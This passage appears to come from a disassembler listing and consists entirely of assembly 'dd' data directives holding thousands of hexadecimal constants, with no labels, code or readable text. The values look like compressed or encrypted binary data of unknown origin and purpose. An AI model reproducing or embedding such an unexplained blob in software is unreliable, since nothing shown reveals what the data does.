0D77CCA0Fh, 0D26EA42Fh, 37BFF2D4h, 171794ADh, 2C264FE0h dd 921122A6h, 6A48E529h, 0C4893A2h, 6BD3C60Eh, 0A6070CA8h dd 8969B947h, 0F4B4009Eh, 4AE8C126h, 0D290103h, 60057E40h dd 0EB4154E5h, 0E781AC15h, 87003A3Eh, 0F7D46CEh, 0BDD693F8h dd 0B2DC21FEh, 68D3F4C4h, 70544E8h, 8937E973h, 2C6E52EAh dd 2C255A9Ah, 0E99570E8h, 4B9B8B3Eh, 0B66FDDE1h, 500D175Dh dd 969E8DEDh, 35C68039h, 290060C2h, 72572575h, 30F754AAh dd 2D6083D0h, 0C2D8AB8h, 2635FE93h, 0BA520030h, 2C531343h dd 5FF905B5h, 68C2FAA8h, 47D422CAh, 0C95A7F54h, 105709D5h dd 4BDF7D0Eh, 323A88FEh, 49AC374Fh, 2D20C4A1h, 9FBCD239h dd 4DEB3309h, 0C09713D0h, 602BC322h, 3D861E4Bh, 293F38ABh dd 0FB51F3CBh, 0FB0B04EFh, 8F0FA902h, 5028F723h, 0F9581308h dd 4CBE802Ah, 0A065A050h, 5A162D87h, 6424E049h, 110D3413h dd 2D5C4FEh, 0DAD9E908h, 7868C3B1h, 8EBE4ADCh, 8D552612h dd 4252B717h, 27E0C3EAh, 0B0433530h, 58F4DE4h, 5BDA8986h dd 0AF8D885Dh, 0DCB46D5Ah, 0E60779E6h, 38D892DCh, 0BD703F46h dd 54B098E5h, 2E682E03h, 19C8092Dh, 20414B76h, 501380CFh dd 0A4017255h, 20451084h, 17FAA86Bh, 8AE3485Bh, 2DD8E1CBh dd 3EA92C38h, 64ECF4F8h, 0E85338FAh, 0B021851Bh, 0EC3ADDAFh dd 0F1997888h, 748FD52Dh, 0A2147A64h, 0A7AFD3DAh, 0BFE90CD2h dd 904B2C61h, 0C02720CDh, 85585BDh, 0A4BA9DD4h, 6A412845h dd 7907192Ch, 6F2D9C44h, 0A77767A2h, 3FD8E582h, 0DA62FE7Eh dd 860F008Eh, 6E97336Eh, 8F6804F5h, 8920054Bh, 6E69F27Ch dd 9E626051h, 0C65459Fh, 0EE172E44h, 0DAC7EB9Fh, 59B6C899h dd 92C93C80h, 0ED414AA5h, 7002C29h, 9FA5E48h, 7FFC8FD4h dd 3D57B800h, 0C0D30FCh, 72B63300h, 0C8418235h, 3F2D012Ah dd 0E9198F5Ch, 0E2FF655Fh, 0EEE7107Fh, 88DDC5B4h, 0EDB3A197h dd 0B8A3501Bh, 6D279CE7h, 0D5600BF7h, 0B3CF3360h, 164A6B1Dh dd 7E0C62BFh, 45785717h, 5E1DD038h, 0C0BE24AAh, 0E66F1185h dd 2DD9094Ch, 0FE811253h, 3F4E02FDh, 22752DE7h, 40FBA810h dd 4565F95h, 0B6375068h, 0A6E5FB79h, 7D41BF2Ah, 2A2B7313h dd 12E3D360h, 0B8D84D0Eh, 5A402C03h, 77501800h, 12EDC130h dd 8464E906h, 40B88E4Bh, 5512DEB1h, 0B1EF0680h, 0AA080448h dd 401C9288h, 0EC7288E4h, 9958E224h, 0FDE0400Bh, 44D08AB0h dd 0CBDFCCB7h, 7D5CDEF8h, 24ECC525h, 51D01010h, 5BA53BDDh dd 1A8F0C82h, 65643456h, 92F70882h, 921D876h, 33A773FBh dd 7EA09F5h, 999376Dh, 0B5A4FFAAh, 0ACB3A0C7h, 2D20438h dd 3B6866D8h, 0C527DF47h, 0D1A8CCB6h, 4E68DB52h, 54EE9FBAh dd 8794E0E9h, 8C830F05h, 4BC16BF0h, 7983E0E7h, 572D0BB7h dd 6F8ADC02h, 0F704EDC4h, 3A715714h, 8F06EFC3h, 406673A7h dd 0EF425D28h, 0BEC8AA4Ah, 708B26E9h, 25FEA868h, 0D838FA28h dd 404F589h, 3DB768BDh, 0B5300AE4h, 0E447C8F9h, 0AAE9E318h dd 6BA12AAEh, 34947ABBh, 0CBBF8FC4h, 0D2C1257h, 0D395E2EAh dd 0E65F9BCAh, 12A8018Ah, 0E6D1465Ch, 0FFFB953Fh, 32D05D80h dd 58637B69h, 0E1821DEh, 8368645Ch, 0FD7DE2B7h, 55270915h dd 9083AE98h, 3B8D0F80h, 0B7772352h, 0C070AEFEh, 27C790EEh dd 0C14B190Ch, 6E975816h, 182DE9B0h, 5ABA167Dh, 0AC8138B5h dd 0DA751D9h, 0C8C2537Eh, 40897959h, 0C379CD68h, 1EC70948h dd 16CFDFCBh, 450E8705h, 257B7F09h, 200706ACh, 76B98567h dd 2F08A0DFh, 555A5B57h dd 0A8E67924h, 0A99AF54Bh, 0C2B56AFDh, 168B55EEh, 11E367Dh dd 96645DF7h, 20FB893Eh, 14950ABAh, 0EB0728FAh, 0A2759736h dd 0EC68DFBEh, 4B14F214h, 0E199BD37h, 5A026D09h, 1C07317Eh dd 9BC55D21h, 89895DEEh, 0E420D181h, 808EB353h, 5B10F338h dd 1D846AB8h, 0D7491DE2h, 0D5ADC4CDh, 0E9B14CEAh, 29912C42h dd 680AB7BBh, 0CC0C738Dh, 520257D3h, 6E05F118h, 0EF045861h dd 0EC21BEB4h, 4AC1795Dh, 555CCC0Bh, 73B201F8h, 848E8FEh dd 62D53CEFh, 205EDA57h, 5821C3C6h, 0DB7690EBh, 6585EE4Bh dd 1B127FCh, 5BBC3E9Ch, 327968B0h, 0ECE05997h, 0D25BE92Eh dd 57E8D416h, 8F39E8B5h, 946FB89Fh, 4F039EA4h, 0EBE26D04h dd 0D6298977h, 5615458Ah, 57B000C2h, 90351CBFh, 12F3E48h dd 3DCC7FF5h, 0E66CA7E9h, 961CA24Ah, 6B44511Ch, 2DC0319Dh dd 4AC31D96h, 41FBFD6Ch, 141CA008h, 7F208FB0h, 0D1E19765h dd 0B7163ABDh, 7607EEF8h, 0C678E813h, 0AB9819D8h, 9E6BC90h dd 764CA0E0h, 411A393Ah, 6364AC82h, 42403BBFh, 5781EF49h dd 14AFD260h, 0C5086605h, 0C079E625h, 7CE8BBC0h, 0B84A5FA5h dd 0C5F3C0E5h, 2C456751h, 0BD2E3C1h, 0D3A055BFh, 2656502Dh dd 281F374Ch, 0E1BD0705h, 917F272Fh, 1401EF63h, 0AEE9D5EFh dd 707B39C1h, 90D58DA5h, 0BDFD9885h, 8900343Ah, 74B22DD6h dd 0A4D9F728h, 0C90581F6h, 230D10CCh, 0CE1DC801h, 0A87B73A7h dd 0C7B577C8h, 0A9EE1790h, 0A5E90B42h, 0A144FFCAh, 0C8D3DB25h dd 8124ADDAh, 1AB27B5Bh, 91E5425Eh, 0C40D33Bh, 0C8BABE17h dd 0D55D850Bh, 3C80D728h, 0B12251D2h, 0FC20E896h, 0CBA92BF3h dd 0E2EAC92h, 589C4495h, 72BB6FC4h, 412B063h, 7DD41EEEh dd 271B101h, 99805A08h, 4EBF79D3h, 0A6B8F7FEh, 0A3755D02h dd 0AC71E936h, 97F1F8B8h, 0DA2D7CDCh, 294C2AB3h, 92D200C6h dd 0F959E835h, 573F0D0Fh, 687C840Eh, 0A3AC12C3h, 6CDE73C2h dd 0DC1F4BFFh, 0BA8094EBh, 0F08606D5h, 1B28052Ah, 91BA23E9h dd 2E7EEF84h, 0EA93BBB2h, 8094FFF4h, 694CC9E9h, 0BC93849Fh dd 184CAA2h, 13F541E8h, 0F524173Fh, 0AB5695AEh, 0FC3ED2E2h dd 7D67854Fh, 7AE5FA1Ch, 2E799CCCh, 47C36A92h, 75270293h dd 0ECE8B180h, 310559EBh, 392AE9F3h, 0E43FD889h, 35945FB0h dd 938B858Dh, 222DA0FFh, 542B740h, 68CD60F5h, 352295BDh dd 4053E3A7h, 0FF4FED09h, 2256C5B2h, 40A25C44h, 4047499Eh dd 550E2C7Ah, 13713C68h, 85D7B6AAh, 9B424FE9h, 9A601368h dd 88CE74E9h, 0C005C2A9h, 548703E3h, 7EDC28D2h, 0C5F153EEh dd 0D5E5F9D2h, 967DD6EDh, 0A5E858EDh, 7B4E44C6h, 0F4799820h dd 2DC2BAE3h, 0EF5CCB01h, 0C76EB3C0h, 0DDF7283Dh, 6BD609F1h dd 24847DF0h, 396AB99Bh, 23C39EA3h, 10343AC9h, 270C8E07h dd 1AFC781Ch, 0FD37250Bh, 0B3B5B3E5h, 6C10B7FCh, 63E44B05h dd 0CF103DD3h, 0F58FC76h, 89AD28ACh, 0CA311132h, 2AF1011Ah dd 2AEE2D7Dh, 0FEFA943Eh, 0B0FC6417h, 6ED9BB4Bh, 680AFE3Ch dd 88836B6Dh, 87078028h, 8A2081EAh, 783C7139h, 920749C1h dd 0BE7B0092h, 0B84A177Ch, 32979301h, 0E052E9D2h, 555DC02Ch dd 0B0C1BE92h, 7739F329h, 0C1B26B75h, 190BD856h, 3332DF97h dd 39571689h, 917FD24Eh, 0A5C98769h, 9DBBD56Ch, 0B65047F2h dd 1E04CAD6h, 290B0810h, 61770709h, 2C8B5922h, 0CA302F77h dd 0E983386Ah, 0F5F77C40h, 4737CDBAh, 0E52F71D4h, 69C3F052h dd 0E8647016h, 0D2794BCh, 59552662h, 0F42D8816h, 96C6800Fh dd 1D536A1h, 0BD4EAFF4h, 62779929h, 0FEE944B9h, 1E6C6531h dd 25C7C257h, 0E2E67748h, 84B240C9h, 4DC15A95h, 0EA11EE9Dh dd 40F10802h, 0F7B852C9h, 9EB25D0Ch, 5A62A828h, 929E3594h dd 627EEA67h, 1A35CA82h, 0C2B4C071h, 620418E3h, 0BA1B5E3Bh dd 88AE9127h, 9C0FBEA4h, 5F65C93Ch, 68D5B56Ah, 0A0F201CBh dd 0BFA028BFh, 8434536Eh, 79FC837Ah, 0B7520B13h, 8C94253h dd 8FEE58Bh, 0D526B7DEh, 1AA4F97h, 7F27F8C9h, 44E93B94h dd 1D109800h, 0BF0E949h, 0D982269Eh, 41073EB5h, 0FE01ED3Eh dd 5F812FC5h, 0E20761F6h, 3D6A874Dh, 2A67D07Fh, 9FE050C3h dd 5A0A3D56h, 7DAFAD46h, 0DEEDC30h, 612FE3C5h, 68C138ABh dd 9466760Bh, 7D0F3267h, 0B5813789h, 0FE96FF73h, 65C85EC0h dd 744D312Dh, 8C51432h, 0C2BCE917h, 5B588673h, 4497C7ECh dd 34419598h, 0C55C344Dh, 0ED2651E8h, 8B014C60h, 29B439C4h dd 95F32ABFh, 1B18077h, 2542E9C3h, 8A6EFEF7h, 0DBECB73Dh dd 0F1CFE88h, 3168A52Ah, 0C71E16D2h, 572782A3h, 0D1316DDh dd 31B4E95Bh, 2BEDD91Dh, 0E2AA45C5h, 683CA69Ah, 2DE5E18Fh dd 7DF66652h, 0DD46B369h, 0FA731DF8h, 0CC764F29h, 10BBE904h dd 1E586A8h, 3B0992BBh, 20B46F13h, 9F307096h, 0FDFA4E76h dd 617A9859h, 312A0966h, 4C10A50h, 9F58ADEBh, 0F4BA2B5Bh dd 9F44FE4h, 5B6F5257h, 0E93B21FFh, 1F40055Ch, 7B9E3C58h dd 0B1D82427h, 57688049h, 5A741E21h, 0D79C4260h, 2F4CFE5Ch dd 9A03E5E9h, 6890AD66h, 6BED5E35h, 22F83F2h, 523C2757h dd 2E44BAD0h, 0F8025E9h, 697A685Eh, 0DE74E2D8h, 0FCC22580h dd 3401A07Eh, 0A5840F36h, 0FC2AF625h, 33958E5Bh, 63D8FE9h dd 0C530178Bh, 25E047D7h, 941A6E75h, 0E85F39F8h, 979D8E41h dd 411CE4F4h, 0BD9C2F18h, 70F7FC56h, 0B676BD2Bh, 13EBEA65h dd 0BDB3F86Eh, 137EDAF1h, 916AE7Dh, 87012FB8h, 8940CD6Ch dd 3DB231F8h, 0A7C702CBh, 0D74BDB21h, 0BE244AF9h, 0F74555CBh dd 27A45ADh, 0D736E95Ch, 0C16093D5h, 6895CC51h, 0A0144FB8h dd 0EAD6D849h, 0FF5A722Eh, 0B650A938h, 0FDBD01AAh, 307A7249h dd 0F7920AD7h, 131D2B2Fh, 71E59A7Bh, 1BAD3AE7h, 16D71C8Bh dd 70687093h, 0FDD4B55Dh, 19868252h, 27760957h, 251F1002h dd 0CC705D72h, 1C050883h, 3A4C120Ch, 435B3681h, 0D2C8946Dh dd 6D331228h, 0B39690C5h, 5FFDA406h, 3E88706h, 0E8B74EC0h dd 5F76E97Fh, 0FFD39517h, 4CECB6E1h, 98169285h, 0C645A18Ch dd 787D48A8h, 2DAC25B9h, 2E64E7A0h, 0AEA3107Eh, 34082AC7h dd 2C53BE1Ch, 6EF1E1Fh, 95AB85Fh, 0C0428C25h, 0C7005950h dd 81466F3Eh, 7AC138F1h, 22099D90h, 0DB2D85C0h, 2EBF4409h dd 0A6700252h, 0BE5D0003h, 4048CEC9h, 4F8910FDh, 0BB15BA02h dd 0AD70620h, 0B385CB1h, 7C5F1Bh, 85A1B3A6h, 0EBE92F2Fh dd 0E104A652h, 12DE3971h, 8DB99C0h, 4661309Eh, 5B6BC63Ch dd 0FE29540Eh, 35F2ECE9h, 7B7A9FEAh, 0C7905F9Fh, 2B012C66h dd 0C058C688h, 103003E6h, 0FF335A2Dh, 0B30D33Ch, 50EE9EEh dd 9FFA171Ch, 9E263A94h, 0E7C2E82h, 1A62E03Fh, 78E60243h dd 1520870Fh, 6F1F0C8h, 8040EB9Eh, 975010C4h, 70DD00A2h dd 0BD0B4E7Fh, 7C2313C1h, 0A1F84A9Dh, 36E2CEA8h, 2003BF37h dd 0B440C151h, 688FF02Ah, 1846672Dh, 829D339Dh, 801A7ADFh dd 0C6DFF0E3h, 125DE8F1h, 58B33820h, 0D8256B66h, 685F9080h dd 0F3B7235Eh, 29520258h, 0EB7D4DEFh, 98F3B01Dh, 2C6816FEh dd 960EF240h, 1F713DB9h, 0DC599770h, 0A176E7CEh, 76482843h dd 0DEF9286Fh, 94315FB8h, 0A2FDFABDh, 383D21F1h, 0CAA2A19Dh dd 8FEC5207h, 905EDB77h, 0C3918619h, 80588474h, 3BDEA8F7h dd 8B5A0933h, 0C1FE4A31h, 6C8EE92Ah, 0F2582CE9h, 0FEBB73Ah dd 0A625E1D2h, 90B28FABh dd 0B36CD621h, 0D86496E6h, 1120DFD9h, 0EB5C023Dh, 273FE90Ch dd 9609AA73h, 64E97E65h, 2F7AE185h, 7FF681E8h, 0DA4EF790h dd 0D34B59A2h, 0F8C05AA4h, 594B3468h, 0B00014B3h, 0C1296027h dd 462F08EEh, 31AEF44Eh, 216C02ACh, 0F2812F4Ah, 0F00B334h dd 1F54BC8Eh, 0D42517C9h, 33B07FFEh, 30090559h, 8B9B4C37h dd 0E5AADD12h, 408C10CBh, 0A89A95F2h, 0EBBB56BFh, 2091D060h dd 51289607h, 88EA5568h, 0E0450C0h, 70C0BD06h, 0B2307C87h dd 0A0980C21h, 0E9B70C95h, 5A60DB7Bh, 565DDE97h, 7284DE9Dh dd 6642FE7Ch, 0E46803C2h, 0F5D8BB95h, 3D530B0Eh, 71915A01h dd 254CFB55h, 0E73878E2h, 0E28ADCFEh, 0FA594157h, 0E3BF8D54h dd 32088832h, 25202288h, 36234BFh, 0C1404852h, 0D9FA03E0h dd 4D5F4EEAh, 877F2596h, 0A3A775Fh, 0BEF4C52Dh, 0D7E928E2h dd 596619E8h, 0B2525309h, 69F0DDFCh, 2BF04FDh, 403F72Dh dd 2CF85760h, 0C0B75BE8h, 0B68E4FAAh, 31C5884h, 121D1924h dd 2C27EE07h, 62CF2922h, 72080C0Dh, 2591F0BBh, 647D8394h dd 0B0EB0BBh, 36456930h, 1D9A01A2h, 0F797DCFAh, 558B882h dd 0EBB7D057h, 131CB97Bh, 9CC918D8h, 6459F8E3h, 0AC56C13Eh dd 3ABBF508h, 0BD18AB0h, 58B4E9E3h, 0C2027ECh, 0BFD0BD02h dd 0E8DD872Dh, 0BEF730h, 11E16146h, 0CA76CDBAh, 0BBB11D4Bh dd 7C065240h, 9422C91h, 150501A9h, 76200484h, 70B48BA9h dd 12D4B578h, 0B09F527h, 0D2F5D1DFh, 6EC67477h, 0EA50E664h dd 0FA2E492Dh, 0A5E9A430h, 82CBBC3Fh, 0CEA91BD3h, 115C47E2h dd 3EFE243h, 0EC14C623h, 0C014C20h, 44784E6Fh, 1335B1E9h dd 0E603B769h, 0A7D5FB3h, 3FC3D2F1h, 0E6972BBDh, 16125C59h dd 2EA8272Dh, 0E83A68C4h, 0A10BDE85h, 44B45D73h, 9938420h dd 45D4685Bh, 0F75CDF32h, 5432CB4Fh, 0DB54C91Bh, 7B159602h dd 802B5864h, 0F35E5107h, 0EAF5AE30h, 0E576B755h, 0B19835Ah dd 0E2BBA531h, 13D0E6BDh, 0E2B393E9h, 6FCB5B11h, 3BD8F025h dd 0C2CB7E9Dh, 0BB5DC9DCh, 0CE2E20D4h, 0BA88534Ah, 26C30181h dd 11E7A3Dh, 5FC31CBh, 3F7B008h, 59505BE2h, 0B584D59Ch dd 7DA72BD1h, 0D83E7F2Dh, 75010F6Dh, 0F977E4BDh, 812B3165h dd 44B47DDh, 698E37C7h, 0FE8596CAh, 0E9BBA077h, 3D829F7Ah dd 0E1F1BD68h, 26BD559Fh, 0F17BA5E6h, 0CC2E0835h, 0B779EDC5h dd 1053703Fh, 0F3F0DD5h, 44DCF89Bh, 3A01D0D9h, 5557FB72h dd 0E267286h, 7DE12E90h, 3CAE10ACh, 0C86BB86h, 8ABBB94Bh dd 1EE90C4Ch, 494BC7F5h, 0E6845746h, 1E4B1F27h, 7B65F23h dd 45C23833h, 2915B631h, 0FFDE313h, 120959A0h, 2A7E4D00h dd 0B9FD87Fh, 0C2ED0F66h, 0D50D714Ah, 80C77369h, 293C0580h dd 0E7015FFEh, 2DC14770h, 51F0DC38h, 89D05B95h, 29F073E9h dd 0E040D081h, 0D697A32Ah, 30F15958h, 0B880FAF8h, 0EC290F03h dd 0D7A20579h, 5C778613h, 3054BB4h, 0BA26D560h, 0FD12CEA3h dd 4CB4EA5Fh, 2FD29693h, 2CA9A4E0h, 0BA7C9401h, 0C08A9DC4h dd 30422621h, 1F000957h, 57F1ECEh, 4FA10CC0h, 90F399Bh dd 0FEE1BB8Fh, 96455B75h, 56EAC283h, 0B8C2E956h, 92BF1862h dd 4FD6573Bh, 0B71DAD05h, 68B128BCh, 0EE84FB69h, 5B38E6h dd 6777BDA3h, 609D116Eh, 25E14A4h, 0E8899E94h, 0DE4801E9h dd 5173C435h, 8A0E3BE5h, 0DCED7281h, 0BE15E9F0h, 5C5E0D4h dd 1FB718A4h, 5DC48E97h, 6BC2390h, 0EE324B05h, 41A1092Ch dd 7E53AD55h, 2009DA8Ah, 0E7B44D2Bh, 0C9FD3B5h, 0DB6B3428h dd 76F6D24Eh, 39520527h, 43943AEBh, 75DA1FC2h, 0AE92EE98h dd 14AFCD88h, 0E809B077h, 17386D0Bh, 98DEA687h, 0DA925E1Dh dd 7B5F450h, 0F86350EBh, 944974B5h, 27670297h, 0AF5F053Dh dd 34C9BAA3h, 1DD8F529h, 1F0CE398h, 0E12AB755h, 40E437E9h dd 5166247h, 45F5B7A2h, 0C2FA5F66h, 6D704A4Bh, 78078B9h dd 0F901DA21h, 0B8A0FBE9h, 242DC829h, 4A2756E8h, 0D422F505h dd 0A255FD7Fh, 0FD5D98Bh, 0A83EB66h, 4835C50h, 45E5C653h dd 4CBC6FE1h, 0BA5B6B4Dh, 77BD424Bh, 6CEA5963h, 166F0FCh dd 0E396C911h, 7E82C657h, 0F5CDC7B7h, 600802EDh, 3C05E97Fh dd 2D701E6Bh, 0B620881Ch, 7DC7BFF5h, 0E059BA6h, 0CAA1C831h dd 9AE7E020h, 3FBE0342h, 56758065h, 5B17CB05h, 0D0940A22h dd 90240716h, 0E2F0E82h, 942A32A5h, 0E416AB43h, 0CFDD6h dd 70121988h, 0A157E95Bh, 48C09BB7h, 0EF4AB8F7h, 898B524Ah dd 0DED0E6BFh, 3DCE78F1h, 0B212F389h, 0FB5D5382h, 952C6790h dd 9F2765Ch, 775163EBh, 84F3F105h, 0EB0812C5h, 0B4872228h dd 6DD849E7h, 54557E9Fh, 4E5F04A2h, 4EA02072h, 78D35F50h dd 8BBFEC9Ah, 80F0F16Fh, 329B1CC5h, 50B455E9h, 0B6273628h dd 884A71D8h, 55492623h, 0FAD5430h, 0D5AC3ABDh, 0DE0805DBh dd 0EA310005h, 5AD6015Dh, 5265EAB1h, 0B0BB3BBh, 5427EAE9h dd 0C877EB6Fh, 97148BE0h, 1A7A1EF5h, 765699E9h, 287EA6FFh dd 8F32D19h, 864FFC71h, 0B5F5E446h, 0BB629BC8h, 0C3829BA3h dd 47FA915Dh, 40635220h, 0B00F5040h, 44BB2C6Ch, 5C979BA5h dd 10AC30B1h, 7A6C91E9h, 0DECCE85Fh, 38C597D6h, 0EAB4C4BCh dd 2FADDF70h, 2491988Fh, 6FF55FC3h, 46E81B06h, 78ED803Eh dd 26A1795Dh, 57E6CD5Dh, 0D7EB20B2h, 30F68051h, 8982AFB7h dd 0F3627551h, 5BDACF02h, 24BD6E5Fh, 0CF933BFEh, 0A238E0E4h dd 0E9560BAEh, 927DC1BDh, 80B43238h, 6B0F0BA5h, 0D2E9CC0Bh dd 90D7F45Ah, 40BF4E21h, 9DF18176h, 0E05B39C7h, 5BDFC791h dd 7E680684h, 0CB31FF55h, 0AC2A2BEDh, 4760CCA8h, 0BD93BEEFh dd 0FFF34AFAh, 0D9126D5Eh, 5B5EFB49h, 5780875h, 7D52BB00h dd 58F77CDCh, 0E46EB3DBh, 2C056CE9h, 3B8AEB70h, 85D07E4Ch dd 0ABC9C44Bh, 0EF80B0F2h, 526A1609h, 9CDF0128h, 7539E630h dd 5E1F1B1Ah, 7F8BF220h, 570E5124h, 52C33180h, 0B53F2B68h dd 0A36AFBA5h, 5EF47F28h, 0BF54874Ah, 302386C0h, 62A0C1B3h dd 7F1A6C44h, 0B613BF64h, 51E49990h, 591E7B6Eh, 59174011h dd 3201EED1h, 81D3ACC4h, 0FACA812Fh, 555B0215h, 0C436E441h dd 8928166Bh, 0DA4095F0h, 0C0B7370Fh, 91CA0B9Ch, 0FCF900F7h dd 4A1E45D1h, 0C54DF801h, 0CCFF16D5h, 223A3679h, 7C01138Ah dd 0CD060BCh, 0B024C54Ch, 30B225D6h, 6A291CDFh, 25EF0C83h dd 0EF889D60h, 0AD52CBEEh, 294202EBh, 7D4F050Ah, 5A5CF9C2h dd 7F553DC0h, 0B9215A6Eh, 827B3F60h, 4BE984FCh, 62C9DED9h dd 7B778C8Dh, 0CA0C8BA9h, 46425CD1h, 0A6CEF925h, 166110BCh dd 0B0019EBFh, 0FE895625h, 9D2C2F70h, 5FBC7798h, 479D42Ch dd 6C05D50Fh, 1902BC76h, 6F7DCFE9h, 92F52AF3h, 20C1B881h dd 8E703A11h, 0A43F100Ch, 94F10132h, 810C0806h, 3B7F5B14h dd 0ABE909DFh, 41D072C2h, 0ADED3E23h, 2152BD80h, 0E912FCAFh dd 6BF4F0ACh, 8D8A9715h, 0AF7E1DD6h, 41EAD0C8h, 0F732770Bh dd 0C57554D9h, 3B8DFF2Dh, 24229FE0h, 90E619Bh, 83C8204Eh dd 0C7317CBAh, 22FD0C3Ah, 9D2936F4h, 9D68CEF1h, 4D201916h dd 4E871F4Ah, 7E52AB09h, 0D0C4E9F9h, 0A4E902B5h, 0F7225772h dd 0A7E67CEFh, 458B519Bh, 9F9844A0h, 98973C75h, 2D669E00h dd 0E4A06F67h, 702429ECh, 911033E9h, 0C3B65201h, 804BF680h dd 0B4507706h, 9FC5E9C6h, 0E49F17ADh, 0AFDB5764h, 0AC96C27Ah dd 9FDC7EE1h, 0E5F5DC8Bh dd 0BA58272Eh, 0C7380190h, 83673F60h, 0E11D13E6h, 27EEB063h dd 51123149h, 0C50C3118h, 0F82A312Ah, 57170ACEh, 9C013DEEh dd 30FDAB89h, 28C2CC80h, 0F1292024h, 8824490h, 0C15500C2h dd 89520D17h, 70D26052h, 7A74017Ch, 7E0629BAh, 57C72AC6h dd 4DE9D170h, 59CCCEEAh, 0F266F905h, 949350E5h, 0D1D80B7h dd 0E7E441Bh, 33C3513h, 2C2D54E2h, 3191E1F5h, 0B75127Eh dd 8E2087Eh, 9D6ED85Fh, 0F6B502FAh, 4754885Ch, 5608BB00h dd 904B7DD1h, 4CA0093Ch, 849375EBh, 0FC774598h, 0CF1D3850h dd 6BBCBA55h, 365BC83Eh, 0F9015824h, 0E942375Eh, 0ED39E4D8h dd 103E3C24h, 0CB810048h, 491A468Ch, 410AEE0Fh, 29C9818h dd 3379CA1Eh, 6BA65C8h, 0A492B587h, 3C40DECEh, 46705DE9h dd 80EBA04h, 0C2B18033h, 0F01252B9h, 44BE4A34h, 21163B2h dd 0F147A168h, 1C778BF6h, 0E913EC44h, 0C0B30927h, 0A73FBF41h dd 0F7660B98h, 0CFF185E1h, 98E791C1h, 728DF2Dh, 1E3816CBh dd 0E385FE4Fh, 0BBC298BEh, 997D3209h, 1694FE0Dh, 97914257h dd 30401439h, 0D582AC09h, 5E264A53h, 8827DB27h, 0DE2F1482h dd 0B6424261h, 39D58A89h, 402B3379h, 1445F3A1h, 4B4B27D0h dd 0F87D57FAh, 0E3D85AB5h, 523B4056h, 0A522DC95h, 14EB1F68h dd 5856A816h, 3FAD39BFh, 1F849595h, 0B258FCAFh, 9EE855C6h dd 18BCD601h, 0BF9F8652h, 0AFC64EB5h, 90CA3C6h, 381A69A3h dd 0D45A64D4h, 0EC55691Bh, 0BED9A817h, 70CD2605h, 175E02B1h dd 0D37F75CFh, 6350059h, 0E96E9D10h, 870CD434h, 4F93F2EBh dd 295A0BEBh, 549AB4C0h, 0F040AA2Fh, 0E907800Bh, 0C8C451EAh dd 10BBDA6Fh, 0CC5891C8h, 2EBF1819h, 0B55DF05Eh, 74EB0CD2h dd 0CF10BCBEh, 5F842102h, 0B62EFEB7h, 315C0B59h, 0C3BA00F3h dd 79B65A92h, 0A9D84E03h, 85E192F5h, 0A8B2986Fh, 8F3034Bh dd 0CEA78C9Fh, 5177556Ah, 0ED2F630h, 4F4AF9B9h, 7C9AFC1Ch dd 0F51EEBEFh, 5ECF56EEh, 0FC93655Dh, 0FD4B21FAh, 0F3FB144Ah dd 0BAD00803h, 75EFF0FEh, 0C5ED3BC0h, 9D236D43h, 899032E5h dd 39B16839h, 1FA30BFh, 0B6422AB6h, 1EFE79A7h, 0EF4900B8h dd 10A10550h, 57EA121Fh, 0DEEDC797h, 13CE9A2Ah, 0FC5A5152h dd 0CA311CCBh, 3E8009B4h, 5FC83EB4h, 2C53F895h, 2C049B47h dd 9D838E0Bh, 0B8482FFDh, 5319D845h, 4072CE9Eh, 0B7F5BC12h dd 8AAF4B60h, 4BF14A89h, 72880A1Ch, 5850BFC7h, 0BC7A2E45h dd 0F8448691h, 0CCD2B716h, 0FECF8F10h, 8AB1C5A1h, 32595826h dd 0DDC9F351h, 0D939C82Fh, 0D5688D41h, 888B572Dh, 3666307Fh dd 685D8023h, 5B75FD27h, 318420F5h, 3038DDADh, 39FF2BC8h dd 171E624Dh, 48BC6963h, 8490A0DDh, 9B3BE20h, 53F1685Eh dd 62A32CB0h, 0FE78880h, 39EF8058h, 74D8696Bh, 57D9F624h dd 0B803A310h, 18590BCEh, 0EE7B40D3h, 8816739Fh, 7D702C41h dd 0E90485E5h, 3C989283h, 0BF7A1F3Fh, 0EE464B10h, 0F9CB39F1h dd 0CB780877h, 4408DE24h, 0DBF0179h, 7836236Eh, 8E7101Eh dd 0D616C14Bh, 0BB372A12h, 0EB405434h, 8487A53Ah, 40DA892Dh dd 0D1D01B0h, 0FE9741Bh, 9B827B83h, 4C4D5EFDh, 0B0AA0E46h dd 0EA547678h, 1BB2B21Ch, 0C9F00F6Ch, 0E68EEE48h, 0AE34D2F6h dd 0E7C2FF24h, 60AFF473h, 5DB97DDFh, 2D074B5Ch, 4349E103h dd 2FB8AE87h, 53E9A1B7h, 68648473h, 61E8411Eh, 1F22D5C9h dd 0DE63C831h, 0EFFD5Ah, 0DCFBC755h, 3148DB71h, 58292FC7h dd 0E4C17E88h, 851E1DB8h, 4D81BD10h, 584CD979h, 0D6C62C5Bh dd 218463EDh, 0C59D1F85h, 57B013D2h, 0A5F3B98Ah, 1AB292FBh dd 0B835C3F6h, 90EB805Bh, 85CF5BB5h, 32C7AB20h, 0F56956D7h dd 5FC93679h, 0D1244EC4h, 0E792B2B4h, 22931B07h, 0F1816660h dd 715D171Ah, 0C8B10E38h, 0FEE952F9h, 0E2AA16CBh, 827FE66Ah dd 40B9B57Fh, 24F601h, 557F4C1Eh, 7C5C2EBDh, 57452326h dd 51FB9302h, 40D6D412h, 737D4A7Ah, 8A033B6h, 57C20CC1h dd 627635CEh, 0FE01F873h, 237B0CE3h, 546267Fh, 2BC01705h dd 33D4BDE9h, 0FC272DAEh, 1EC41EF1h, 0A2EE59B6h, 0B42D7D4Ch dd 0B7E0C480h, 395EBAFAh, 62ABAC12h, 56DEA305h, 0FA6342ADh dd 905A4AE2h, 0FEC15BADh, 866F3B7h, 5C0F8D36h, 0F0EDEB4Dh dd 236F0C6Eh, 5A4C4E58h, 0D7444EC1h, 0CC6C6495h, 0C02BE913h dd 38ACB857h, 8D26C426h, 32FF1F12h, 8B7DC73Eh, 0E221D497h dd 0F3095E43h, 5C58420Bh, 0BAD43003h, 0D71C4ADEh, 621B3EEh dd 0F4A4627Dh, 0A6C20D76h, 8974D11Eh, 7D922B8h, 70E1E942h dd 3976909Bh, 0A1DBC008h, 0E90701EFh, 0F14C25F7h, 9580FECBh dd 73813DF1h, 0E57562B7h, 47C31D6Eh, 0C411373Ch, 7271FA0Ch dd 6800A7E2h, 0B8244A6Ah, 0F5004006h, 0DF1CF991h, 902F26E9h dd 58C78B7Ah, 6428F482h, 4AF1C5C3h, 713F894Bh, 79D9C426h dd 2A9E0551h, 0BA592572h, 7E543FF4h, 6570BC5Fh, 